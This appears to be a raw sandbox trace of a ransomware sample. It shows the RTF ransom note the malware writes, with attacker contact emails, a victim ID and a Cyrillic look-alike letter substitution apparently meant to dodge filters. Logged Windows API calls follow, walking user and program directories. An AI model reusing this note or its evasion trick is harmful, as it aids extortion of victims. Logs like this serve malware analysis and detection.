\\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n\x8b\x030;è\x8eß\x19$«\x89\x87ý\x91åO\x9c²6\x9dGw\x1aÇbD\x9d\"k£\n", lpUsedDefaultChar=0x0) returned 14086 [0037.114] WriteFile (in: hFile=0x1d4, lpBuffer=0x261aa78*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x261aa78*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0037.115] CloseHandle (hObject=0x1d4) returned 1 [0037.115] Sleep (dwMilliseconds=0x3e8) [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount2=88) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount2=80) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount2=80) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount2=64) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount2=64) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount2=52) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount2=52) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount2=80) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount2=80) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount2=80) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount2=40) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount2=78) returned 3 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount2=39) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\", cchCount1=78, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount2=39) returned 1 [0038.643] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\", cchCount1=88, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount2=39) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", cchCount1=40, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\", cchCount2=39) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\CAT\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 1 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\", cchCount2=58) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount2=64) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount2=64) returned 2 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount2=52) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\DEU\\", cchCount1=64, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount2=52) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount1=52, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\", cchCount2=52) returned 2 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SUO\\", cchCount1=80, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\", cchCount2=58) returned 3 [0038.644] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Program Files 